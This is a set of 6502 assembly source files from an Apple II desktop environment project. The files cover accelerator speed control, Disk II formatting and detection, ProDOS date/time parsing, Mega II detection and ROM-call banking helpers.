sty op
;; Save and change banking
bit RDALTZP
sta ALTZPOFF ; preserve state on main stack
php
bit RDLCRAM
php
bit RDBNK2
php
bit LCBANK2
bit LCBANK2
;; Read or write
op: lda SETTINGS,x ; self-modified
;; Restore banking
plp
IF_NC
bit LCBANK1 ; restore LCBANK1
bit LCBANK1
END_IF
plp
IF_NC
bit ROMIN2 ; restore ROMIN2
END_IF
plp
IF_NS
sta ALTZPON ; restore ALTZPON
END_IF
pha ; ensure Z/N are set
pla
rts
.endscope ; readwrite_settings_impl
;;; Exports
ReadSetting := readwrite_settings_impl::read
WriteSetting := readwrite_settings_impl::write
|
a2stuff/a2d
| 9,621
|
src/lib/normfast.s
|
.scope NORMFAST
;;; ------------------------------------------------------------
;;; Code from:
;;; 3b74ddcf-190c-4591-bced-17e165ece668@googlegroups.com
;;; https://groups.google.com/d/topic/comp.sys.apple2/e-2Lx-CR1dM/discussion
;;; * Converted to ca65 syntax (:=/= instead of .equ)
;;; * .org removed
;;; * 65c02 usage restricted to one opcode
;;; * For Laser 128EX: tweak $7FE to persist speed change
;;; ------------------------------------------------------------
;;; NORMFAST Disable/enable Apple II compatible accelerator
;;;
;;; Release 6 2017-10-05 Fix Mac IIe card check
;;;
;;; Release 5 2017-09-27 Add Macintosh IIe Card. Addon
;;; accelerators are now set blindly, so will access
;;; annunciators/IIc locations and may trigger the
;;; paddle timer.
;;; No plans for the Saturn Systems Accelerator which would
;;; require a slot search.
;;;
;;; Release 4 2017-09-06 Add Laser 128EX, TransWarp I, UW
;;;
;;; Release 3 2017-08-29 Change FASTChip partially back to
;;; release 1, which seems to work the way release 2 was
;;; intended?!
;;;
;;; Release 2 2017-08-27 change enable entry point, add Zip
;;; Chip, change setting FASTChip speed to disable/enable
;;;
;;; Release 1 2017-08-25 IIGS, //c+ and FASTChip
;;;
;;; WARNING: The memory location to set the accelerator
;;; speed may overlap existing locations such as:
;;; annunciators or Apple //c specific hardware
;;; paddle trigger
;;;
;;; Known to work: IIGS, //c+
;;; Theoretically: FASTChip, Laser 128EX, Mac IIe Card,
;;; TransWarp I, trademarked German product, Zip Chip
;;;
;;; BRUN NORMFAST or CALL 768 to disable the accelerator.
;;; CALL 771 to enable the accelerator.
;;; Enabling an older accelerator may set maximum speed.
;;; Accelerators such as the FASTChip or Zip Chip can run
;;; slower than 1Mhz when enabled.
;;;
;;; NORMFAST is position independent and can be loaded most
;;; anywhere in the first 48K of memory.
;;; The ROMs must be enabled to identify the model of the
;;; computer.
;;;
;;; This was originally for the //c+ which is normally
;;; difficult to set to 1Mhz speed.
;;; The other expected use is to set the speed in a program.
;;;
;;; Written for Andrew Jacobs' Java based dev65 assembler at
;;; http://sourceforge.net/projects/dev65 but has portability
;;; in mind.
;;; 6502 opcodes are preferred to be friendly to the old
;;; monitor disassemblers
;;; addresses are lowercase, constant values are in CAPS
RELEASE = 6 ; our version
romid := $FBB3
;;; $38=][, $EA=][+, $06=//e compatible
ROMID_IIECOMPAT = 6
romid_ec := $FBC0
;;; $EA=//e original, $E0=//e enhanced, $E1=//e EDM, $00=//c
;;; Laser 128s are $E0
romid_c := $FBBF
;;; $FF=original, $00=Unidisk 3.5 ... $05=//c+
ROMID_CPLUS = 5
romid_maciie_2 := $FBDD ; 2
;;; IIGS
idroutine := $FE1F ; SEC, JSR $FE1F, BCS notgs
gsspeed := $C036
GS_FAST = $80 ; mask
;;; //c+ Cache Glue Gate Array (accelerator)
cgga := $C7C7 ; entry point
CGGA_ENABLE = 1 ; fast
CGGA_DISABLE = 2 ; normal
CGGA_LOCK = 3
CGGA_UNLOCK = 4 ; required to make a change
;;; Macintosh IIe Card
maciie := $C02B
MACIIE_FAST = 4 ; mask
l128irqpage = $C4
;;; From the 4.2, 4.5 and EX2 ROM dumps at the Apple II
;;; Documentation Project, the Laser 128 IRQ handlers are
;;; in the $C4 page.
;;; A comp.sys.apple2 post says the 6.0 ROM for the 128 and
;;; 128EX are identical, so there may not be an easy way to
;;; tell a plain 128 from an (accelerated) 128EX.
irq := $FFFE ; 6502 IRQ vector
;;; may overlap with paddle trigger
ex_cfg := $C074 ; bits 7 & 6 for speed
EX_NOTSPEED = $3F
EX_1MHZMASK = $0
EX_2MHZMASK = $80 ; 2.3Mhz
EX_3MHZMASK = $C0 ; 3.6Mhz
;;; FASTChip
fc_lock := $C06A
FC_UNLOCK = $6A ; write 4 times
FC_LOCK = $A6
fc_enable := $C06B
fc_speed := $C06D
FC_1MHZ = 9
FC_ON = 40 ; doco says 16.6Mhz
;;; Titan Accelerator IIe
;;; This overlaps BSR address, but BSR is read-only so OK
ta_speed := $C086
TA_1MHZ = 1
TA_MAX = 5
;TA_LOCK = $a
;;; TransWarp I
;;; may overlap with paddle trigger
tw1_speed := $C074
TW1_1MHZ = 1
TW1_MAX = 0
;;; Trademarked German accelerator
;;; overlaps annunciator 2 & //c mouse interrupts
uw_fast := $C05C
uw_1mhz := $C05D
;;; Zip Chip
;;; overlaps annunciator 1 & //c vertical blank
zc_lock := $C05A
ZC_UNLOCK = $5A ; write 4 times
ZC_LOCK = $A5
zc_enable := $C05B
iobase := $C000 ; easily confused with kbd
;; .org $300
; disable accelerator
norm: lda #1
.byte $2C ; BIT <ABSOLUTE>, hide next lda #
; enable accelerator
fast: lda #0
ldx #RELEASE ; our release number
;; first check built-in accelerators
ldx romid
cpx #ROMID_IIECOMPAT
bne addon ; not a //e
ldx romid_ec
beq iic ; //c family
; not worth the bytes for enhanced //e check
ldx irq+1
cpx #l128irqpage
bne gscheck
; a Laser 128, hopefully harmless on a non EX
;; Need to store $56 (slow) or $D6 (fast) to $7FE
;; for speed change to persist.
pha ; A=1 for slow
lsr ; C=1 for slow
ror ; A=$80 for slow
eor #$D6 ; $56 for slow
sta $7FE ; modify screen hole
pla ; A=1 for slow
ldy #EX_3MHZMASK ; phew, all needed bits set
ldx #<ex_cfg
;;; setspeed - set 1Mhz with AND and fast with OR
;;;
;;; A = lsb set for normal speed
;;; X = low byte address of speed location
;;; Y = OR mask for fast
setspeed:
lsr
tya
bcs setnorm
ora iobase,x
bne setsta ; always
setnorm:
eor #$FF
and iobase,x
setsta:
sta iobase,x
rts
gscheck:
pha
sec
jsr idroutine
pla
bcs maccheck ; not a gs
; set IIGS speed
ldy #GS_FAST
ldx #<gsspeed
bne setspeed ; always
maccheck:
ldx romid_maciie_2
cpx #2
bne addon ; no built-in accelerator
; the IIe Card in a Mac
ldy #MACIIE_FAST
ldx #<maciie
bne setspeed ; always
iic:
ldx romid_c
cpx #ROMID_CPLUS
bne addon ; not a //c+, eventually hit Zip
;;; Set //c+ speed. Uses the horrible firmware in case other
;;; code works "by the book", that is can check and set
;;; whether the accelerator is enabled.
;;; The //c+ is otherwise Zip compatible.
.pushcpu
.setcpu "65C02"
inc a ; 65C02 $1A
.popcpu
; cgga calls save X and Y regs but sets $0 to 0
; (this will get a laugh from C programmers)
ldx $0
php
sei ; timing sensitive
pha ; action after CGGA_UNLOCK
lda #CGGA_UNLOCK ; unlock to change
pha
jsr cgga
jsr cgga ; disable/enable
lda #CGGA_LOCK ; should lock after a change
pha
jsr cgga
plp ; restore interrupt state
stx $0
rts
;;; At this point, the computer does not have a built-in
;;; accelerator
;;;
;;; Previous versions had tested fc_enable, which was not
;;; enough. Running low on space so just set blindly.
addon:
; TransWarp I
sta tw1_speed
; Titan Accelerator IIe
pha
eor #0
bne taset
lda #TA_MAX
taset:
sta ta_speed
pla
; Zip Chip
tay
eor #1
tax
lda #ZC_UNLOCK
php
sei ; timing sensitive
sta zc_lock
sta zc_lock
sta zc_lock
sta zc_lock
lsr ; not ZC_LOCK or ZC_UNLOCK
sta zc_lock,x ; disable/enable
lda #ZC_LOCK
sta zc_lock
;; current products are subject to change so do
;; these last
; trademarked accelerator from Germany
lda romid_ec ; Skip on //c
beq skipuw
sta uw_fast,y ; value does not matter
skipuw:
; FASTChip
lda romid_ec ; Skip on //c
beq skipfc
ldx #FC_1MHZ
tya
bne fcset
ldx #FC_ON ; enable set speed?
fcset:
lda #FC_UNLOCK
sta fc_lock
sta fc_lock
sta fc_lock
sta fc_lock
sta fc_enable
stx fc_speed
lda #FC_LOCK
sta fc_lock
skipfc:
;; ZipChip poking may twiddle annunciators, kicking
;; out of DHIRES mode. Force it back on unconditionally.
lda DHIRESON
plp ; restore interrupt state
rts
.endscope ; NORMFAST
NORMFAST_norm := NORMFAST::norm
NORMFAST_fast := NORMFAST::fast
;;; ============================================================
|
a2stuff/a2d
| 12,458
|
src/lib/formatdiskii.s
|
;;; ============================================================
;;; Disk II - Format
;;; Inputs: A = unit_number
.proc FormatDiskII
.assert .lobyte(*) = 0, error, "Must be page aligned"
.macro exit_with_result arg
lda #arg
jmp _Exit
.endmacro
php
sei
jsr L083A
plp
cmp #$00
bne L080C
clc
rts
L080C: cmp #$02
bne L0815
lda #ERR_WRITE_PROTECTED
jmp L0821
L0815: cmp #$01
bne L081E
lda #$27
jmp L0821
L081E: clc
adc #$30
L0821: sec
rts
L0823: asl a
asl current_track
sta seltrack_track
txa
lsr a
lsr a
lsr a
lsr a
tay
lda seltrack_track
jsr _SelectTrack
lsr current_track
rts
L083A: tax ; A=DSSSxxxx
and #$70 ; Slot
sta L0C23
txa
ldx L0C23
rol a ; Drive
lda #$00
rol a
bne :+
lda SELECT,x ; Select drive 1 or 2
jmp L0853
: lda LCBANK1,x
L0853: lda ENABLE,x ; Turn drive on
lda #$D7
sta $DA
lda #$50
sta current_track
lda #$00
jsr L0823
L0864: lda $DA
beq L086E
jsr _L0B3A
jmp L0864
L086E: lda #$01
sta $D3
lda #$AA
sta $D0
lda L0C20
clc
adc #$02
sta $D4
lda #$00
sta $D1
L0882: lda $D1
ldx L0C23
jsr L0823
ldx L0C23
lda TESTWP,x ; Check write protect
lda WPRES,x
tay
lda RDMODE,x ; Activate read mode
lda XMIT,x
tya
bpl :+ ; WP mode?
exit_with_result 2 ; Yes
: jsr L0B63
bcc L08B5
lda #$01
ldy $D4
cpy L0C1F
bcs L08B2
lda #4
L08B2: jmp _Exit
L08B5: ldy $D4
cpy L0C1F
bcs L08C1
exit_with_result 4
L08C1: cpy L0C20
bcc L08CB
exit_with_result 3
L08CB: lda L0C22
sta L0C25
L08D1: dec L0C25
bne L08DB
exit_with_result 1
L08DB: ldx L0C23
jsr _L096A
bcs L08D1
lda $D8
bne L08D1
ldx L0C23
jsr _L0907
bcs L08D1
inc $D1
lda $D1
cmp #$23
bcc L0882
lda #0
FALL_THROUGH_TO _Exit
.proc _Exit
pha
ldx L0C23
lda DISABLE,x ; Turn drive off
lda #0
jsr L0823
pla
rts
.endproc ; _Exit
;;; ============================================================
.proc _L0907
ldy #$20
L0909: dey
beq return_with_carry_set
: lda XMIT,x
bpl :-
L0911: eor #$D5
bne L0909
nop
: lda XMIT,x
bpl :-
cmp #$AA
bne L0911
ldy #$56
: lda XMIT,x
bpl :-
cmp #$AD
bne L0911
lda #$00
L092C: dey
sty $D5
: lda XMIT,x
bpl :-
cmp #$96
bne return_with_carry_set
ldy $D5
bne L092C
L093C: sty $D5
: lda XMIT,x
bpl :-
cmp #$96
bne return_with_carry_set
ldy $D5
iny
bne L093C
: lda XMIT,x
bpl :-
cmp #$96
bne return_with_carry_set
: lda XMIT,x
bpl :-
cmp #$DE
bne return_with_carry_set
nop
: lda XMIT,x
bpl :-
cmp #$AA
beq return_with_carry_clear
FALL_THROUGH_TO return_with_carry_set
.endproc ; _L0907
return_with_carry_set:
sec
rts
.proc _L096A
ldy #$FC
sty $DC
L096E: iny
bne :+
inc $DC
beq return_with_carry_set
: lda XMIT,x
bpl :-
L097A: cmp #$D5
bne L096E
nop
: lda XMIT,x
bpl :-
cmp #$AA
bne L097A
ldy #$03
: lda XMIT,x
bpl :-
cmp #$96
bne L097A
lda #$00
L0995: sta $DB
: lda XMIT,x
bpl :-
rol a
sta $DD
: lda XMIT,x
bpl :-
and $DD
sta $D7,y
eor $DB
dey
bpl L0995
tay
bne return_with_carry_set
: lda XMIT,x
bpl :-
cmp #$DE
bne return_with_carry_set
nop
: lda XMIT,x
bpl :-
cmp #$AA
bne return_with_carry_set
FALL_THROUGH_TO return_with_carry_clear
.endproc ; _L096A
return_with_carry_clear:
clc
rts
;;; ============================================================
;;; Move head to track - A = track, X = slot * 16
.proc _SelectTrack
stx seltrack_slot
sta seltrack_track
cmp current_track
beq done
lda #$00
sta L0C38
L09D6: lda current_track
sta L0C39
sec
sbc seltrack_track
beq L0A19
bcs L09EB
eor #$FF
inc current_track
bcc L09F0
L09EB: adc #$FE
dec current_track
L09F0: cmp L0C38
bcc L09F8
lda L0C38
L09F8: cmp #$0C
bcs L09FD
tay
L09FD: sec
jsr L0A1D
lda phase_on_table,y
jsr _L0B3A
lda L0C39
clc
jsr motor
lda phase_off_table,y
jsr _L0B3A
inc L0C38
bne L09D6
L0A19: jsr _L0B3A
clc
L0A1D: lda current_track
motor: and #$03 ; PHASE0 + 2 * phase
rol a
ora seltrack_slot
tax
lda PHASE0,x
ldx seltrack_slot
done: rts
.endproc ; _SelectTrack
;;; ============================================================
.proc _FormatSector
jsr rts2
lda TESTWP,x ; Check write protect
lda WPRES,x
lda #$FF ; Self-sync data
sta WRMODE,x ; Turn on write mode
cmp XMIT,x ; Start sending bits to disk
pha ; 32 cycles...
pla
nop
ldy #4
sync: pha
pla
jsr Write2
dey
bne sync
;; Address marks
lda #$D5
jsr Write
lda #$AA
jsr Write
lda #$AD
jsr Write
ldy #$56
nop
nop
nop
bne :+
;; Data
loop: jsr rts2
: nop
nop
lda #$96
sta DATA,x
cmp XMIT,x
dey
bne loop
;; Checksum
bit $00
nop
check: jsr rts2
lda #$96
sta DATA,x
cmp XMIT,x
lda #$96
nop
iny
bne check
;; Slip marks
jsr Write
lda #$DE
jsr Write
lda #$AA
jsr Write
lda #$EB
jsr Write
lda #$FF
jsr Write
lda RDMODE,x ; Turn off write mode
lda XMIT,x
rts
;; Write with appropriate cycle counts
Write: nop
Write2: pha
pla
sta DATA,x
cmp XMIT,x
rts
.endproc ; _FormatSector
;;; ============================================================
.proc _L0AAE
sec
lda TESTWP,x ; Check write protect
lda WPRES,x
bmi L0B15
lda #$FF
sta WRMODE,x ; Turn on write mode
cmp XMIT,x ; Start sending bits to disk
pha ; 32 cycles...
pla
loop: jsr rts1
jsr rts1
sta DATA,x
cmp XMIT,x
nop
dey
bne loop
lda #$D5
jsr L0B2D
lda #$AA
jsr L0B2D
lda #$96
jsr L0B2D
lda $D3
jsr L0B1C
lda $D1
jsr L0B1C
lda $D2
jsr L0B1C
lda $D3
eor $D1
eor $D2
pha
lsr a
ora $D0
sta DATA,x
lda XMIT,x
pla
ora #$AA
jsr L0B2C
lda #$DE
jsr L0B2D
lda #$AA
jsr L0B2D
lda #$EB
jsr L0B2D
clc
L0B15: lda RDMODE,x ; Turn off write mode
lda XMIT,x
rts1: rts
.endproc ; _L0AAE
;;; ============================================================
L0B1C: pha
lsr a
ora $D0
sta DATA,x
cmp XMIT,x
pla
nop
nop
nop
ora #$AA
L0B2C: nop
L0B2D: nop
pha
pla
sta DATA,x
cmp XMIT,x
rts
.byte 0
.byte 0
.byte 0
.proc _L0B3A
start: ldx #$11
: dex
bne :-
inc16 $D9
sec
sbc #1
bne start
rts
.endproc ; _L0B3A
;;; Timing (100-usecs)
phase_on_table: .byte $01, $30, $28, $24, $20, $1E, $1D, $1C, $1C, $1C, $1C, $1C
phase_off_table: .byte $70, $2C, $26, $22, $1F, $1E, $1D, $1C, $1C, $1C, $1C, $1C
L0B63: lda L0C21
sta $D6
L0B68: ldy #$80
lda #$00
sta $D2
jmp L0B73
L0B71: ldy $D4
L0B73: ldx L0C23
jsr _L0AAE
bcc L0B7E
jmp rts2
L0B7E: ldx L0C23
jsr _FormatSector
inc $D2
lda $D2
cmp #$10
bcc L0B71
ldy #$0F
sty $D2
lda L0C22
sta L0C25
L0B96: sta L0C26,y
dey
bpl L0B96
lda $D4
sec
sbc #$05
tay
L0BA2: jsr rts2
jsr rts2
pha
pla
nop
nop
dey
bne L0BA2
ldx L0C23
jsr _L096A
bcs L0BF3
lda $D8
beq L0BCE
dec $D4
lda $D4
cmp L0C1F
bcs L0BF3
sec
rts
L0BC6: ldx L0C23
jsr _L096A
bcs L0BE8
L0BCE: ldx L0C23
jsr _L0907
bcs L0BE8
ldy $D8
lda L0C26,y
bmi L0BE8
lda #$FF
sta L0C26,y
dec $D2
bpl L0BC6
clc
rts
L0BE8: dec L0C25
bne L0BC6
dec $D6
bne L0BF3
sec
rts
L0BF3: lda L0C22
asl a
sta L0C25
L0BFA: ldx L0C23
jsr _L096A
bcs L0C08
lda $D8
cmp #$0F
beq L0C0F
L0C08: dec L0C25
bne L0BFA
sec
rts2: rts
L0C0F: ldx #$D6
L0C11: jsr rts2
jsr rts2
bit $00
dex
bne L0C11
jmp L0B68
L0C1F: .byte $0E
L0C20: .byte $1B
L0C21: .byte $03
L0C22: .byte $10
L0C23: .byte 0
current_track:
.byte 0
L0C25: .byte 0
L0C26: .byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
seltrack_track:
.byte 0
seltrack_slot:
.byte 0
L0C38: .byte 0
L0C39: .byte 0
.delmacro exit_with_result
.endproc ; FormatDiskII
|
a2stuff/a2d
| 2,661
|
src/lib/is_diskii.s
|
;;; ============================================================
;;; Test if a device is a Disk II, following ProDOS rules.
;;; Only 16-sector Disk II devices are considered, as ProDOS
;;; does not support 13-sector Disk II devices.
;;; Inputs: unit number in A
;;; Outputs: Z=1 if Disk II, Z=0 otherwise
;;; Notes: A,X,Y trashed, $06 preserved
.proc IsDiskII
ptr := $06
tay
lda ptr ; save $06
pha
lda ptr+1
pha
tya
;; Get device driver address
and #UNIT_NUM_MASK
lsr
lsr
lsr
tax
copy16 DEVADR,x, ptr
;; Is the driver in firmware? (i.e. is driver in $CnXX)
lda ptr
and #$F0
cmp #$C0
beq not_diskii ; yes, so not Disk II
;; Check slot. Per Technical Note: ProDOS #21, Disk II
;; devices are never remapped. In general we can't trust
;; the slot bits in the unit number, due to remapping.
;; But if the slot *actually* contains a Disk II device,
;; we know it *wasn't* remapped so the slot bits were
;; correct. Q.E.D.
tya
and #UNIT_NUM_SLOT_MASK ; 0SSS0000
lsr ; 00SSS000
lsr ; 000SSS00
lsr ; 0000SSS0
lsr ; 00000SSS
ora #$C0 ; $Cn
sta ptr+1
lda #0
sta ptr ; ptr = $Cn00
;; Does this slot contain an actual ProDOS device? We
;; Need to test this in case a device was remapped into
;; this slot. Look for the signature bytes.
ldy #$01 ; $Cn01 = $20 ?
lda (ptr),y
cmp #$20
bne not_diskii
ldy #$03 ; $Cn03 = $00 ?
lda (ptr),y
cmp #$00
bne not_diskii
ldy #$05 ; $Cn05 = $03 ?
lda (ptr),y
cmp #$03
bne not_diskii
;; Slot contains a ProDOS device. But is it a Disk II?
ldy #$FF ; $CnFF = $00 is a 16-sector Disk II
lda (ptr),y
cmp #$00
beq finish ; Yes, finish with A=0
;; NOTE: $CnFF = $FF would signify a 13-sector Disk II, which
;; ProDOS does not support, so we don't probe for that.
not_diskii:
lda #$FF ; nope
finish: tay
pla ; restore $06
sta ptr+1
pla
sta ptr
tya
rts
.endproc ; IsDiskII
|
a2stuff/a2d
| 9,510
|
src/lib/datetime.s
|
;;; ============================================================
;;; Populate `str_time` with time. Uses `clock_24hours` flag in settings.
;;; Inputs: A,X = ParsedDateTime
;;; Outputs: `str_time` is populated
.proc MakeTimeString
parsed_ptr := $06
stax parsed_ptr
;; Cache settings
ldx #DeskTopSettings::clock_24hours
jsr ReadSetting
sta clock_24hours
ldx #DeskTopSettings::intl_time_sep
jsr ReadSetting
sta intl_time_sep
ldy #ParsedDateTime::hour
lda (parsed_ptr),y
sta hour
ldy #ParsedDateTime::minute
lda (parsed_ptr),y
sta min
ldy #0 ; Index into time string
;; Hours
lda hour
;; 24->12 hour clock?
bit clock_24hours
IF_NC
IF_A_GE #12
sec
sbc #12 ; 12...23 -> 0...11
END_IF
IF_A_EQ #0
lda #12 ; 0 -> 12
END_IF
END_IF
jsr _Split
pha
txa ; tens (if > 0)
bit clock_24hours
IF_NC
cmp #0 ; if 12-hour clock && 0, skip
beq ones
END_IF
ora #'0'
iny
sta str_time,y
ones: pla ; ones
ora #'0'
iny
sta str_time,y
;; Separator
intl_time_sep := *+1
lda #SELF_MODIFIED_BYTE
iny
sta str_time,y
;; Minutes
lda min
jsr _Split
pha
txa ; tens
ora #'0'
iny
sta str_time,y
pla ; ones
ora #'0'
iny
sta str_time,y
bit clock_24hours
bmi done
;; Space
lda #' '
iny
sta str_time,y
lda hour
cmp #12
bcs :+
lda #'A'
SKIP_NEXT_2_BYTE_INSTRUCTION
: lda #'P'
store: iny
sta str_time,y
lda #'M'
iny
sta str_time,y
done: sty str_time
rts
hour: .byte 0
min: .byte 0
clock_24hours:
.byte 0
;;; Input: A = number
;;; Output: X = tens, A = ones
.proc _Split
ldx #0
DO
BREAK_IF_A_LT #10
sec
sbc #10
inx
WHILE_NOT_ZERO ; always
rts
.endproc ; _Split
.endproc ; MakeTimeString
;;; ============================================================
;;; Day of the Week calculation (valid 1900-03-01 to 2155-12-31)
;;; c/o http://6502.org/source/misc/dow.htm
;;; Inputs: Y = year (0=1900), X = month (1=Jan), A = day (1...31)
;;; Output: A = weekday (0=Sunday)
.proc DayOfWeek
tmp := $06
cpx #3 ; Year starts in March to bypass
bcs :+ ; leap year problem
dey ; If Jan or Feb, decrement year
: eor #$7F ; Invert A so carry works right
cpy #200 ; Carry will be 1 if 22nd century
adc month_offset_table-1,X ; A is now day+month offset
sta tmp
tya ; Get the year
jsr mod7 ; Do a modulo to prevent overflow
sbc tmp ; Combine with day+month
sta tmp
tya ; Get the year again
lsr ; Divide it by 4
lsr
clc ; Add it to y+m+d and fall through
adc tmp
mod7: adc #7 ; Returns (A+3) modulo 7
bcc mod7 ; for A in 0..255
rts
month_offset_table:
.byte 1,5,6,3,1,5,3,0,4,2,6,4
ASSERT_TABLE_SIZE month_offset_table, 12
.endproc ; DayOfWeek
;;; ============================================================
;;; Parse date/time
;;; Input: A,X = addr of datetime to parse
;;; $0A points at ParsedDateTime to be filled
.proc ParseDatetime
parsed_ptr := $0A
datetime_ptr := $0C
stax datetime_ptr
;; Null date? Leave as all zeros.
ldy #0
lda (datetime_ptr),y
iny
ora (datetime_ptr),y ; null date?
bne not_null
ldy #.sizeof(ParsedDateTime)-1
DO
sta (parsed_ptr),y
dey
WHILE_POS
rts
not_null:
.ifdef PRODOS_2_5
;; Is it a ProDOS 2.5 extended date/time? (see below)
ldy #3
lda (datetime_ptr),y
and #%11100000 ; Top 3 bits would be 0...
bne prodos_2_5 ; unless ProDOS 2.5a4+
.endif ; PRODOS_2_5
;; --------------------------------------------------
;; ProDOS 8 DateTime:
;; byte 1 byte 0
;; 7 6 5 4 3 2 1 0 7 6 5 4 3 2 1 0
;; +-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+
;; | Year | Month | Day |
;; +-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+
;;
;; byte 3 byte 2
;; 7 6 5 4 3 2 1 0 7 6 5 4 3 2 1 0
;; +-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+
;; |0 0 0| Hour | |0 0| Minute |
;; +-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+
;;
;; ----------------------------------------
;; Year
;; (top 7 bits of datehi, top 3 bits of timehi)
year: lda #0
sta ytmp+1
ldy #DateTime::datehi
lda (datetime_ptr),y ; First, calculate year-1900
lsr a
php ; Save Carry bit
sta ytmp
;; 0-39 is 2000-2039
;; Per Technical Note: ProDOS #28: ProDOS Dates -- 2000 and Beyond
;; https://web.archive.org/web/2007/http://web.pdx.edu/~heiss/technotes/pdos/tn.pdos.28.html
tn28: lda ytmp ; ytmp is still just one byte
IF_A_LT #40
adc #100
sta ytmp
END_IF
do1900: ldy #ParsedDateTime::year
add16in ytmp, #1900, (parsed_ptr),y
;; ----------------------------------------
;; Month
;; (mix low bit from datehi with top 3 bits from datelo)
plp ; Restore Carry bit
ldy #DateTime::datelo
lda (datetime_ptr),y
ror a
lsr a
lsr a
lsr a
lsr a
ldy #ParsedDateTime::month
sta (parsed_ptr),y
;; ----------------------------------------
;; Day
;; (low 5 bits of datelo)
ldy #DateTime::datelo
lda (datetime_ptr),y
and #%00011111
ldy #ParsedDateTime::day
sta (parsed_ptr),y
;; ----------------------------------------
;; Hour
ldy #DateTime::timehi
lda (datetime_ptr),y
and #%00011111
ldy #ParsedDateTime::hour
sta (parsed_ptr),y
;; ----------------------------------------
;; Minute
ldy #DateTime::timelo
lda (datetime_ptr),y
and #%00111111
ldy #ParsedDateTime::minute
sta (parsed_ptr),y
rts
.ifdef PRODOS_2_5
;; --------------------------------------------------
;; ProDOS 8 2.5.0a4+ Extended DateTime:
;; https://prodos8.com/releases/prodos-25/
;;
;; byte 1 byte 0
;; 7 6 5 4 3 2 1 0 7 6 5 4 3 2 1 0
;; +-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+
;; | Day | Hour | Minute |
;; +-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+
;;
;; byte 3 byte 2
;; 7 6 5 4 3 2 1 0 7 6 5 4 3 2 1 0
;; +-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+
;; | Month | Year |
;; +-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+
prodos_2_5:
;; ----------------------------------------
;; day: 1-31
ldy #1
lda (datetime_ptr),y
lsr
lsr
lsr
ldy #ParsedDateTime::day
sta (parsed_ptr),y
;; ----------------------------------------
;; month: 2-13
ldy #3
lda (datetime_ptr),y
lsr
lsr
lsr
lsr
sec
sbc #1 ; make it 1-12
ldy #ParsedDateTime::month
sta (parsed_ptr),y
;; ----------------------------------------
;; year: 0-4095
ldy #2
lda (datetime_ptr),y
ldy #ParsedDateTime::year
sta (parsed_ptr),y
ldy #3
lda (datetime_ptr),y
and #%00001111
ldy #ParsedDateTime::year+1
sta (parsed_ptr),y
;; ----------------------------------------
;; hour: 0-23
ldy #0
copy16in (datetime_ptr),y, ytmp
ldx #6
DO
lsr16 ytmp
dex
WHILE_NOT_ZERO
lda ytmp
and #%00011111 ; should be unnecessary
ldy #ParsedDateTime::hour
sta (parsed_ptr),y
;; ----------------------------------------
;; minute: 0-59
ldy #0
lda (datetime_ptr),y
and #%00111111
ldy #ParsedDateTime::minute
sta (parsed_ptr),y
rts
.endif ; PRODOS_2_5
ytmp: .word 0
.endproc ; ParseDatetime
|
a2stuff/a2d
| 1,466
|
src/lib/detect_megaii.s
|
;;; ============================================================
;;; Detect the Mega II, the Apple II "computer-on-a-chip" used to
;;; implement a substantial amount of the logic for the IIgs. Notably,
;;; it provides `NEWVIDEO` softswitch support, which allows software
;;; control over color/monochrome DHGR graphics. This chip is used in
;;; experimental systems like the Mega IIe by @baldengineer.
;;;
;;; (This may possibly allow software control over DHGR color/mono on
;;; the TLC and VOC, but this has not yet been tested.)
;;;
;;; Detection is done using `STATEREG` which is also provided by the
;;; Mega II chip.
;;; Output: Z=1 if Mega II, Z=0 otherwise
;;; Trashes A, X
.proc DetectMegaII
ldx RDPAGE2
stx rdpage2_flag
ldx RDALTZP
stx rdaltzp_flag
;; Set to known state
sta PAGE2OFF
sta ALTZPOFF
;; Test state
lda STATEREG
;; Invert state
sta PAGE2ON
sta ALTZPON
;; Record what bits changed
eor STATEREG
;; Restore banking
rdaltzp_flag := *+1
ldx #SELF_MODIFIED_BYTE
IF_NC
stx ALTZPOFF ; restore ALTZOFF
END_IF
rdpage2_flag := *+1
ldx #SELF_MODIFIED_BYTE
IF_NC
bit PAGE2OFF ; restore PAGE2OFF
END_IF
cmp #%11000000 ; bit7=ALTZP, bit6=PAGE2
rts
.endproc ; DetectMegaII
|
a2stuff/a2d
| 1,442
|
src/lib/rom_call.s
|
;;; ============================================================
;;; ROMCall - this allows calling into the ROM while LCBANK1
;;; is banked in, while preserving A,X,Y,P into and out of the
;;; call. Callers provide the ROM entry point as two bytes
;;; after the JSR, e.g. JSR ROMCall / .addr ADDR
.proc ROMCall
sta saved_a
stx saved_x
sty saved_y
php
pla
sta saved_p
;; Adjust return address on stack, compute
;; original params address.
pla
sta params
clc
adc #<2
tax
pla
sta params+1
adc #>2
pha
txa
pha
;; Copy the actual address
ldy #2 ; ptr is off by 1
DO
params := *+1
lda SELF_MODIFIED,y
sta addr-1,y
dey
WHILE_NOT_ZERO
;; Bank in ROM for call
bit ROMIN2
;; Restore registers
saved_p := *+1
lda #SELF_MODIFIED_BYTE
pha
saved_a := *+1
lda #SELF_MODIFIED_BYTE
saved_x := *+1
ldx #SELF_MODIFIED_BYTE
saved_y := *+1
ldy #SELF_MODIFIED_BYTE
plp
;; Make the call
addr := *+1
jsr SELF_MODIFIED
;; Bank in LC again
php
bit LCBANK1
bit LCBANK1
plp
rts
.endproc ; ROMCall
|
a2stuff/a2d
| 7,514
|
src/lib/file_dialog_res.s
|
;;; ============================================================
;;; Resources for lib/file_dialog.s
;;;
;;; Separated to support running from a separate bank than
;;; the resources.
;;; ============================================================
.scope file_dialog_res
;;; Must be visible to MGTK
filename_buf:
.res 18, 0 ; filename + length + slash (or + folder glyphs for others)
DEFINE_POINT pos_title, 0, 14
str_folder:
PASCAL_STRING {kGlyphFolderLeft, kGlyphFolderRight}
str_file:
PASCAL_STRING {kGlyphFileLeft, kGlyphFileRight}
str_vol:
PASCAL_STRING {kGlyphDiskLeft, kGlyphDiskRight}
kControlsLeft = 28
